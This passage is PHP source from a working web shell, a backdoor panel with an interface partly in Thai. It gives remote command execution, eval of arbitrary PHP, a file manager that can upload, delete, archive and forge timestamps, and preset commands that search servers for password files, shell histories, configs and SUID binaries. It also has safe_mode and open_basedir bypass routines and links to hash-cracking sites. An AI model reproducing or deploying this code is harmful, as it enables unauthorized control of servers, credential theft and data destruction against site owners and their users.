542 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>';
543 break;
544 case 'edit':
545 if( !is_writable($_POST['p1'])) {
546 echo 'File isn\'t writeable';
547 break;
548 }
549 if( !empty($_POST['p3']) ) {
550 $time = @filemtime($_POST['p1']);
551 $_POST['p3'] = substr($_POST['p3'],1);
552 $fp = @fopen($_POST['p1'],"w");
553 if($fp) {
554 @fwrite($fp,$_POST['p3']);
555 @fclose($fp);
556 echo 'Saved!<br><script>p3_="";</script>';
557 @touch($_POST['p1'],$time,$time);
558 }
559 }
560 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
561 $fp = @fopen($_POST['p1'], 'r');
562 if($fp) {
563 while( !@feof($fp) )
564 echo htmlspecialchars(@fread($fp, 1024));
565 @fclose($fp);
566 }
567 echo '</textarea><input type=submit value="submit"></form>';
568 break;
569 case 'hexdump':
570 $c = @file_get_contents($_POST['p1']);
571 $n = 0;
572 $h = array('00000000<br>','','');
573 $len = strlen($c);
574 for ($i=0; $i<$len; ++$i) {
575 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
576 switch ( ord($c[$i]) ) {
577 case 0: $h[2] .= ' '; break;
578 case 9: $h[2] .= ' '; break;
579 case 10: $h[2] .= ' '; break;
580 case 13: $h[2] .= ' '; break;
581 default: $h[2] .= $c[$i]; break;
582 }
583 $n++;
584 if ($n == 32) {
585 $n = 0;
586 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
587 $h[1] .= '<br>';
588 $h[2] .= "\n";
589 }
590 }
591 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#12151d><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#12151d><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
592 break;
593 case 'rename':
594 if( !empty($_POST['p3']) ) {
595 if(!@rename($_POST['p1'], $_POST['p3']))
596 echo 'Can\'t rename!<br>';
597 else
598 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
599 }
600 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>';
601 break;
602 case 'touch':
603 if( !empty($_POST['p3']) ) {
604 $time = strtotime($_POST['p3']);
605 if($time) {
606 if(!touch($_POST['p1'],$time,$time))
607 echo 'Fail!';
608 else
609 echo 'Touched!';
610 } else echo 'Bad time format!';
611 }
612 clearstatcache();
613 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>';
614 break;
615 /* (С) 12.2015 mitryz */
616 case 'frame':
617 $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
618 if ($frameSrc[0] != '/')
619 $frameSrc = '/' . $frameSrc;
620 if ($frameSrc[strlen($frameSrc) - 1] != '/')
621 $frameSrc = $frameSrc . '/';
622 $frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
623 echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
624 break;
625 }
626 echo '</div>';
627 hardFooter();
628}
629if($os == 'win')
630 $aliases = array(
631 "List Directory" => "dir",
632 "Find index.php in current dir" => "dir /s /w /b index.php",
633 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
634 "Show active connections" => "netstat -an",
635 "Show running services" => "net start",
636 "User accounts" => "net user",
637 "Show computers" => "net view",
638 "ARP Table" => "arp -a",
639 "IP Configuration" => "ipconfig /all"
640 );
641else
642 $aliases = array(
643 "List dir" => "ls -lha",
644 "list file attributes on a Linux second extended file system" => "lsattr -va",
645 "show opened ports" => "netstat -an | grep -i listen",
646 "process status" => "ps aux",
647 "Find" => "",
648 "find all suid files" => "find / -type f -perm -04000 -ls",
649 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
650 "find all sgid files" => "find / -type f -perm -02000 -ls",
651 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
652 "find config.inc.php files" => "find / -type f -name config.inc.php",
653 "find config* files" => "find / -type f -name \"config*\"",
654 "find config* files in current dir" => "find . -type f -name \"config*\"",
655 "find all writable folders and files" => "find / -perm -2 -ls",
656 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
657 "find all service.pwd files" => "find / -type f -name service.pwd",
658 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
659 "find all .htpasswd files" => "find / -type f -name .htpasswd",
660 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
661 "find all .bash_history files" => "find / -type f -name .bash_history",
662 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
663 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
664 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
665 "Locate" => "",
666 "locate httpd.conf files" => "locate httpd.conf",
667 "locate vhosts.conf files" => "locate vhosts.conf",
668 "locate proftpd.conf files" => "locate proftpd.conf",
669 "locate psybnc.conf files" => "locate psybnc.conf",
670 "locate my.conf files" => "locate my.conf",
671 "locate admin.php files" =>"locate admin.php",
672 "locate cfg.php files" => "locate cfg.php","locate conf.php files" => "locate conf.php",
673 "locate config.dat files" => "locate config.dat",
674 "locate config.php files" => "locate config.php",
675 "locate config.inc files" => "locate config.inc",
676 "locate config.inc.php" => "locate config.inc.php",
677 "locate config.default.php files" => "locate config.default.php",
678 "locate config* files " => "locate config",
679 "locate .conf files"=>"locate '.conf'",
680 "locate .pwd files" => "locate '.pwd'",
681 "locate .sql files" => "locate '.sql'",
682 "locate .htpasswd files" => "locate '.htpasswd'",
683 "locate .bash_history files" => "locate '.bash_history'",
684 "locate .mysql_history files" => "locate '.mysql_history'",
685 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
686 "locate backup files" => "locate backup",
687 "locate dump files" => "locate dump",
688 "locate priv files" => "locate priv"
689 );
690function actionConsole() {
691 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
692 prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
693 $_POST['p1'] .= ' 2>&1';
694 } elseif(!empty($_POST['p1']))
695 prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
696 if(isset($_POST['ajax'])) {
697 prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
698 ob_start();
699 echo "d.cf.cmd.value='';\n";
700 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\'\0"));
701 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
702 if(@chdir($match[1])) {
703 $GLOBALS['cwd'] = @getcwd();
704 echo "c_='".$GLOBALS['cwd']."';";
705 }
706 }
707 echo "d.cf.output.value+='".$temp."';";
708 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
709 $temp = ob_get_clean();
710 echo strlen($temp), "\n", $temp;
711 exit;
712 }
713 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
714 prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
715 hardHeader();
716 echo "<script>
717if(window.Event) window.captureEvents(Event.KEYDOWN);
718var cmds = new Array('');
719var cur = 0;
720function kp(e) {
721 var n = (window.Event) ? e.which : e.keyCode;
722 if(n == 38) {
723 cur--;
724 if(cur>=0)
725 document.cf.cmd.value = cmds[cur];
726 else
727 cur++;
728 } else if(n == 40) {
729 cur++;
730 if(cur < cmds.length)
731 document.cf.cmd.value = cmds[cur];
732 else
733 cur--;
734 }
735}
736function add(cmd) {
737 cmds.pop();
738 cmds.push(cmd);
739 cmds.push('');
740 cur = cmds.length-1;
741}
742</script>";
743 echo '<h1>คอนโซล</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
744 foreach($GLOBALS['aliases'] as $n => $v) {
745 if($v == '') {
746 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
747 continue;
748 }
749 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
750 }
751
752 echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
753 if(!empty($_POST['p1'])) {
754 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
755 }
756 echo '</textarea><table class=main cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="width:100%;" onkeydown="kp(event);"></td></tr></table>';
757 echo '</form></div><script>d.cf.cmd.focus();</script>';
758 hardFooter();
759}
760function actionPhp() {
761 if( isset($_POST['ajax']) ) {
762 $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
763 ob_start();
764 eval($_POST['p1']);
765 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
766 echo strlen($temp), "\n", $temp;
767 exit;
768 }
769 hardHeader();
770 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
771 echo '<h1>PHP info</h1><div class=content>';
772 ob_start();
773 phpinfo();
774 $tmp = ob_get_clean();
775 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
776 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
777 $tmp = preg_replace('!h1!msiU','h2',$tmp);
778 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
779 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
780 echo $tmp;
781 echo '</div><br>';
782 }
783 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
784 $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
785 echo '<h1>ดำเนินการโค้ด PHP</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
786 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
787 if(!empty($_POST['p1'])) {
788 ob_start();
789 eval($_POST['p1']);
790 echo htmlspecialchars(ob_get_clean());
791 }
792 echo '</pre></div>';
793 hardFooter();
794}
795function actionFilesMan() {
796 if (!empty ($_COOKIE['f']))
797 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
798
799 if(!empty($_POST['p1'])) {
800 switch($_POST['p1']) {
801 case 'uploadFile':
802 if ( is_array($_FILES['f']['tmp_name']) ) {
803 foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) {
804 if(!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
805 echo "Can't upload file!";
806 }
807 }
808 }
809 break;
810 case 'mkdir':
811 if(!@mkdir($_POST['p2']))
812 echo "Can't create new dir";
813 break;
814 case 'delete':
815 function deleteDir($path) {
816 $path = (substr($path,-1)=='/') ? $path:$path.'/';
817 $dh = opendir($path);
818 while ( ($microsoft = readdir($dh) ) !== false) {
819 $microsoft = $path.$microsoft;
820 if ( (basename($microsoft) == "..") || (basename($microsoft) == ".") )
821 continue;
822 $type = filetype($microsoft);
823 if ($type == "dir")
824 deleteDir($microsoft);
825 else
826 @unlink($microsoft);
827 }
828 closedir($dh);
829 @rmdir($path);
830 }
831 if(is_array(@$_POST['f']))
832 foreach($_POST['f'] as $f) {
833 if($f == '..')
834 continue;
835 $f = urldecode($f);
836 if(is_dir($f))
837 deleteDir($f);
838 else
839 @unlink($f);
840 }
841 break;
842 case 'paste':
843 if($_COOKIE['act'] == 'copy') {
844 function copy_paste($c,$s,$d){
845 if(is_dir($c.$s)){
846 mkdir($d.$s);
847 $h = @opendir($c.$s);
848 while (($f = @readdir($h)) !== false)
849 if (($f != ".") and ($f != ".."))
850 copy_paste($c.$s.'/',$f, $d.$s.'/');
851 } elseif(is_file($c.$s))
852 @copy($c.$s, $d.$s);
853 }
854 foreach($_COOKIE['f'] as $f)
855 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
856 } elseif($_COOKIE['act'] == 'move') {
857 function move_paste($c,$s,$d){
858 if(is_dir($c.$s)){
859 mkdir($d.$s);
860 $h = @opendir($c.$s);
861 while (($f = @readdir($h)) !== false)
862 if (($f != ".") and ($f != ".."))
863 copy_paste($c.$s.'/',$f, $d.$s.'/');
864 } elseif(@is_file($c.$s))
865 @copy($c.$s, $d.$s);
866 }
867 foreach($_COOKIE['f'] as $f)
868 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
869 } elseif($_COOKIE['act'] == 'zip') {
870 if(class_exists('ZipArchive')) {
871 $zip =new ZipArchive();
872 if ($zip->open($_POST['p2'], 1)) {
873 chdir($_COOKIE['c']);
874 foreach($_COOKIE['f'] as $f) {
875 if($f == '..')
876 continue;
877 if(@is_file($_COOKIE['c'].$f))
878 $zip->addFile($_COOKIE['c'].$f, $f);
879 elseif(@is_dir($_COOKIE['c'].$f)) {
880 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
881 foreach ($iterator as $key=>$value) {
882 $zip->addFile(realpath($key), $key);
883 }
884 }
885 }
886 chdir($GLOBALS['cwd']);
887 $zip->close();
888 }
889 }
890 } elseif($_COOKIE['act'] == 'unzip') {
891 if(class_exists('ZipArchive')) {
892 $zip = new ZipArchive();
893 foreach($_COOKIE['f'] as $f) {
894 if($zip->open($_COOKIE['c'].$f)) {
895 $zip->extractTo($GLOBALS['cwd']);
896 $zip->close();
897 }
898 }
899 }
900 } elseif($_COOKIE['act'] == 'tar') {
901 chdir($_COOKIE['c']);
902 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
903 ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
904 chdir($GLOBALS['cwd']);
905 }
906 unset($_COOKIE['f']);
907 setcookie('f', '', time() - 3600);
908 break;
909 default:
910 if(!empty($_POST['p1'])) {
911 prototype('act', $_POST['p1']);
912 prototype('f', serialize(@$_POST['f']));
913 prototype('c', @$_POST['c']);
914 }
915 break;
916 }
917 }
918 hardHeader();
919 echo '<h1>ตัวจัดการไฟล์</h1><div class=content><script>p1_=p2_=p3_="";</script>';
920 $dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
921 if($dirContent === false) { echo 'Can\'t open this folder!';hardFooter(); return; }
922 global $sort;
923 $sort = array('name', 1);
924 if(!empty($_POST['p1'])) {
925 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
926 $sort = array($match[1], (int)$match[2]);
927 }
928echo "<script>
929 function sa() {
930 for(i=0;i<d.files.elements.length;i++)
931 if(d.files.elements[i].type == 'checkbox')
932 d.files.elements[i].checked = d.files.elements[0].checked;
933 }
934</script>
935<table class='fm main' cellspacing='0' cellpadding='2'>
936<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
937 $dirs = $files = array();
938 $n = count($dirContent);
939 for($i=0;$i<$n;$i++) {
940 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
941 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
942 $tmp = array('name' => $dirContent[$i],
943 'path' => $GLOBALS['cwd'].$dirContent[$i],
944 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
945 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
946 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
947 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
948 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
949 );
950 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
951 $files[] = array_merge($tmp, array('type' => 'file'));
952 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
953 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
954 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&&($dirContent[$i] != "."))
955 $dirs[] = array_merge($tmp, array('type' => 'dir'));
956 }
957 $GLOBALS['sort'] = $sort;
958 function cmp($a, $b) {
959 if($GLOBALS['sort'][0] != 'size')
960 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
961 else
962 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
963 }
964 usort($files, "cmp");
965 usort($dirs, "cmp");
966 $files = array_merge($dirs, $files);
967 $l = 0;
968 foreach($files as $f) {
969 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
970 .'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
971 $l = $l?0:1;
972 }
973 echo "<tr id=fak><td colspan=7>
974 <input type=hidden name=ne value=''>
975 <input type=hidden name=a value='FilesMan'>
976 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
977 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
978 <label><select name='p1'>";
979 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
980 echo "<option value='paste'>↳ Paste</option>";
981 echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
982 if(class_exists('ZipArchive'))
983 echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
984 echo "<option value='tar'>+ tar.gz</option>";
985 echo "</select></label>";
986 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
987 echo " file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
988 echo "<input type='submit' value='submit'></td></tr></form></table></div>";
989 hardFooter();
990}
991function actionStringTools() {
992 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
993 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
994 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
995 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
996 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
997 $stringTools = array(
998 'Base64 encode' => 'base64_encode',
999 'Base64 decode' => 'base64_decode',
1000 'Url encode' => 'urlencode',
1001 'Url decode' => 'urldecode',
1002 'Full urlencode' => 'full_urlencode',
1003 'md5 hash' => 'md5',
1004 'sha1 hash' => 'sha1',
1005 'crypt' => 'crypt',
1006 'CRC32' => 'crc32',
1007 'ASCII to HEX' => 'ascii2hex','HEX to ASCII' => 'hex2ascii',
1008 'HEX to DEC' => 'hexdec',
1009 'HEX to BIN' => 'hex2bin',
1010 'DEC to HEX' => 'dechex',
1011 'DEC to BIN' => 'decbin',
1012 'BIN to HEX' => 'binhex',
1013 'BINto DEC' => 'bindec',
1014 'String to lower case' => 'strtolower',
1015 'String to upper case' => 'strtoupper',
1016 'Htmlspecialchars' => 'htmlspecialchars',
1017 'String length' => 'strlen',
1018 );
1019 if(isset($_POST['ajax'])) {
1020 prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
1021 ob_start();
1022 if(in_array($_POST['p1'], $stringTools))
1023 echo $_POST['p1']($_POST['p2']);
1024 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1025 echo strlen($temp), "\n", $temp;
1026 exit;
1027 }
1028 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1029 prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1030 hardHeader();
1031 echo '<h1>การแปลงสตริง</h1><div class=content>';
1032 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
1033 foreach($stringTools as $k => $v)
1034 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1035 echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1036 if(!empty($_POST['p1'])) {
1037 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
1038 }
1039 echo"</pre></div><br><h1>Search files:</h1><div class=content>
1040 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
1041 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
1042 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
1043 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
1044 <tr><td></td><td><input type='submit' value='submit'></td></tr>
1045 </table></form>";
1046 function hardRecursiveGlob($path) {
1047 if(substr($path, -1) != '/')
1048 $path.='/';
1049 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
1050 if(is_array($paths)&&@count($paths)) {
1051 foreach($paths as $microsoft) {
1052 if(@is_dir($microsoft)){
1053 if($path!=$microsoft)
1054 hardRecursiveGlob($microsoft);
1055 } else {
1056 if(empty($_POST['p2']) || @strpos(file_get_contents($microsoft), $_POST['p2'])!==false)
1057 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($microsoft)."\", \"view\",\"\")'>".htmlspecialchars($microsoft)."</a><br>";
1058 }
1059 }
1060 }
1061 }
1062 if(@$_POST['p3'])
1063 hardRecursiveGlob($_POST['c']);
1064 echo "</div><br><h1>Search for hash:</h1><div class=content>
1065 <form method='post' target='_blank' name='hf'>
1066 <input type='text' name='hash' style='width:200px;'><br>
1067 <input type='hidden' name='act' value='find'/>
1068 <input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
1069 <input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
1070 <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>
1071 <input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
1072 <input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br>
1073 <input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br>
1074 <input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
1075 </form></div>";
1076 hardFooter();
1077}
1078function actionSafeMode() {
1079 $temp='';
1080 ob_start();
1081 switch($_POST['p1']) {
1082 case 1:
1083 $temp=@tempnam($test, 'cx');
1084 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
1085 echo @file_get_contents($temp);
1086 unlink($temp);
1087 } else
1088 echo 'Sorry... Can\'t open file';
1089 break;
1090 case 2:
1091 $files = glob($_POST['p2'].'*');
1092 if( is_array($files) )
1093 foreach ($files as $filename)
1094 echo $filename."\n";
1095 break;
1096 case 3:
1097 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
1098 curl_exec($ch);
1099 break;
1100 case 4:
1101 ini_restore("safe_mode");
1102 ini_restore("open_basedir");
1103 include($_POST['p2']);
1104 break;
1105 case 5:
1106 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1107 $uid = @posix_getpwuid($_POST['p2']);
1108 if ($uid)
1109 echo join(':',$uid)."\n";
1110 }
1111 break;
1112 case 6:
1113 if(!function_exists('imap_open'))break;
1114 $stream = imap_open($_POST['p2'], "", "");
1115 if ($stream == FALSE)
1116 break;
1117 echo imap_body($stream, 1);
1118 imap_close($stream);
1119 break;
1120 }
1121 $temp = ob_get_clean();
1122 hardHeader();
1123 echo '<h1>เลี่ยงโหมดปลอดภัย</h1><div class=content>';
1124 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
1125 if($temp)
1126 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
1127 echo '</div>';
1128 hardFooter();
1129}
1130function actionLogout() {
1131 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
1132 die('bye!');
1133}
1134function actionSelfRemove() {
1135 if($_POST['p1'] == 'yes')
1136 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1137 die('Shell has been removed');
1138 else
